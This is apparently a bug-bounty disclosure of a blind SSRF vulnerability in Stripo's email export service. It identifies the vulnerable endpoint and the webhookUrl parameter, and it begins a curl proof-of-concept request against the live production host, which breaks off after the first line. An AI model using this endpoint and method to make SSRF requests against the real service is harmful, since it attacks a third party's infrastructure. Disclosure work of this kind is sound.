[my.stripo.email] Blind SSRF Vulnerability in Stripo App Export via Missing Endpoints Export Email Message to Zapier

Introduction Vulnerability Overview

This presentation covers a critical Blind SSRF (Server-Side Request Forgery) vulnerability identified in Stripo's export service. SSRF vulnerabilities allow attackers to manipulate a server to make arbitrary requests to internal or external systems, potentially leading to severe security breaches. The vulnerability exists in the endpoint /exportservice/v3/exports/WEBHOOK/accounts. By providing malicious input in the webhookUrl parameter, an attacker can trigger SSRF, allowing the server to make unauthorized HTTP requests to attacker-controlled systems.

Exploitation Details

Proof of Concept (PoC)

The following curl command demonstrates the vulnerability exploitation: https://my.stripo.email/editor/v5/1529528/email/8891640

curl -i -X POST 'https://my.stripo.email/bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412' \